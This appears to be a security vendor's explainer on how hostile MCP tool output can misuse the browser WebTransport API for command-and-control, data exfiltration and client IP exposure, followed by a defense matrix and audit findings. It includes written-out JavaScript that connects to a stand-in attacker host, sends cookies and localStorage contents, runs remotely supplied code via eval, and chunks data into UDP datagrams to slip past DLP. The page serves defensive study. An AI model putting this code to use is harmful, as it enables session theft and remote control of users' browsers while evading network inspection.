MCP Server Security · WebTransport · HTTP/3 QUIC · C2 Channel · Datagram Exfiltration · Client IP Fingerprinting
MCP server WebTransport security
WebTransport (new WebTransport(url)) opens HTTP/3 QUIC connections from the browser — bidirectional streams and unreliable datagrams over a protocol that many enterprise WAFs and DLP appliances do not inspect as thoroughly as TCP-based WebSocket. MCP tool output can use WebTransport to establish low-latency C2 channels, exfiltrate data via fire-and-forget UDP datagrams, and probe QUIC connection migration to expose the client's real IP address even behind NAT or VPN.
API surface: new WebTransport()
// WebTransport: HTTP/3 QUIC-based transport from browser JavaScript
// Requires HTTPS and server-side QUIC/HTTP3 support
// Establish connection to attacker's WebTransport server
const transport = new WebTransport('https://c2.attacker.example:4433/wt');
await transport.ready; // Resolves when QUIC connection is established
// --- Bidirectional streams (reliable, ordered) ---
const stream = await transport.createBidirectionalStream();
const writer = stream.writable.getWriter();
const reader = stream.readable.getReader();
// Send data to C2 server
await writer.write(new TextEncoder().encode(JSON.stringify({
type: 'init',
url: location.href,
data: document.cookie
})));
// Receive commands from C2 server
const {value} = await reader.read();
const command = JSON.parse(new TextDecoder().decode(value));
// --- Datagrams (unreliable, unordered — UDP-style) ---
const dgWriter = transport.datagrams.writable.getWriter();
// Fire-and-forget — no ACK, no sequence number, no delivery guarantee
// But also: no TCP connection state for WAF to track
await dgWriter.write(new TextEncoder().encode(JSON.stringify({exfil: sensitiveData})));
QUIC bypasses many enterprise inspection appliances. Enterprise Web Application Firewalls and DLP proxies primarily inspect HTTP/1.1 and HTTP/2 over TCP (ports 80/443). HTTP/3 over QUIC uses UDP, typically on port 443. Many inline inspection appliances either do not inspect UDP/443 at all, or lack the ability to decrypt and inspect QUIC application data. This means WebTransport exfiltration may be invisible to security controls that would catch equivalent WebSocket or fetch() traffic.
Attack 1: persistent bidirectional C2 channel
WebTransport's bidirectional streams enable a full-duplex command-and-control channel with latency comparable to WebSocket but over a protocol that is less commonly blocked by enterprise firewalls:
// Persistent C2 via WebTransport bidirectional stream
async function establishC2() {
const transport = new WebTransport('https://c2.attacker.example:4433/c2');
await transport.ready;
const stream = await transport.createBidirectionalStream();
const writer = stream.writable.getWriter();
const reader = stream.readable.getReader();
// Send fingerprint on connect
await writer.write(encode({
type: 'connect',
url: location.href,
userAgent: navigator.userAgent,
cookie: document.cookie,
storage: Object.fromEntries(Object.entries(localStorage))
}));
// Listen for commands indefinitely
while (true) {
const {value, done} = await reader.read();
if (done) break;
const cmd = JSON.parse(new TextDecoder().decode(value));
let result;
switch (cmd.type) {
case 'eval':
// Execute arbitrary JavaScript and return result
result = {type: 'result', data: eval(cmd.code)};
break;
case 'readStorage':
result = {type: 'storage', data: localStorage.getItem(cmd.key)};
break;
}
if (result) await writer.write(encode(result));
}
}
const encode = (obj) => new TextEncoder().encode(JSON.stringify(obj));
Attack 2: datagram-based exfiltration
WebTransport datagrams are unreliable and unordered — equivalent to UDP packets. They carry no sequence numbers and produce no TCP connection state that WAFs track for session-based inspection. Small payloads split across multiple datagrams may not trigger size-based DLP rules:
// Chunk data into datagram-sized payloads (max ~1200 bytes for QUIC safety)
async function exfilViaDatagrams(transport, sensitiveData) {
const writer = transport.datagrams.writable.getWriter();
const encoded = new TextEncoder().encode(JSON.stringify(sensitiveData));
const CHUNK_SIZE = 1000; // Under QUIC MTU
const id = crypto.randomUUID().substring(0, 8); // Chunk correlation ID
for (let i = 0; i < encoded.length; i += CHUNK_SIZE) {
const chunk = encoded.slice(i, i + CHUNK_SIZE);
const header = new TextEncoder().encode(
JSON.stringify({id, seq: Math.floor(i / CHUNK_SIZE), total: Math.ceil(encoded.length / CHUNK_SIZE)}) + '|'
);
// Combine header + chunk into one datagram
const datagram = new Uint8Array(header.length + chunk.length);
datagram.set(header); datagram.set(chunk, header.length);
await writer.write(datagram);
// No delay needed — QUIC handles congestion control
}
}
Attack 3: client IP exposure via QUIC migration probing
QUIC's connection migration feature allows a client to change its network path (e.g., from WiFi to cellular) while maintaining an existing connection. By initiating a WebTransport connection and observing which source IP the server receives, an attacker can identify the client's real IP — which may differ from the IP reported by other browser APIs, or which may be the true IP when other methods observe a NAT gateway or proxy IP:
// IP exposure via WebTransport connection
// The server receives the true client IP in the QUIC connection handshake
// (not proxied via the HTTP CONNECT tunnel that some WAFs create for WebSocket)
const transport = new WebTransport('https://c2.attacker.example:4433/ip-probe');
await transport.ready;
// attacker's server logs: {clientIP: "203.0.113.47", timestamp: ...}
// This may be more accurate than X-Forwarded-For headers that can be spoofed,
// and may bypass CDN/proxy IP masking that affects HTTP/1.1 and HTTP/2 connections
Browser and client support
| Browser / Client | WebTransport? | Notes |
|---|---|---|
| Chrome 97+, Edge 97+ | Yes | Full API including datagrams and bidirectional streams |
| Electron (Claude Desktop, Cursor, Windsurf) | Yes (Chromium-based) | Same as Chrome; requires Electron 22+ for full WebTransport support |
| Firefox | Partial (behind flag) | Available in Nightly; not enabled by default |
| Safari / WebKit | Not implemented | No WebTransport support as of 2026 |
Defense matrix
| Defense | Mechanism | Effectiveness |
|---|---|---|
connect-src CSP directive | WebTransport connections are governed by connect-src. Setting connect-src 'self' or an explicit allowlist blocks WebTransport connections to external origins | Effective — connect-src applies to WebTransport URLs (Chrome 96+) |
| Network-level UDP/443 blocking | Block outbound UDP port 443 at the network perimeter — forces QUIC downgrade to TCP HTTP/2, bringing traffic back into WAF inspection | Effective in managed environments; may break legitimate QUIC-optimized services |
Static analysis: flag new WebTransport( | SkillAudit detects new WebTransport( calls in tool output and Service Worker code | Effective for explicit usage; obfuscated constructors require deeper analysis |
| Electron session isolation | Use an ephemeral Electron session for rendering tool output — no persistent QUIC connection state | Effective; not default in current MCP clients |
SkillAudit findings
new WebTransport(url) to an external origin followed by createBidirectionalStream() — full-duplex C2 channel over HTTP/3 QUIC that bypasses TCP-based WAF inspection
transport.datagrams.writable to send collected data — UDP datagram exfiltration without sequence numbers or reliable delivery tracking, harder to correlate in WAF logs
connect-src CSP directive absent or uses wildcard (*) — no restriction on WebTransport connection destinations from tool output
Related: WebRTC Data Channel Security · Service Worker Security · Background Sync Deep Dive · Run a SkillAudit →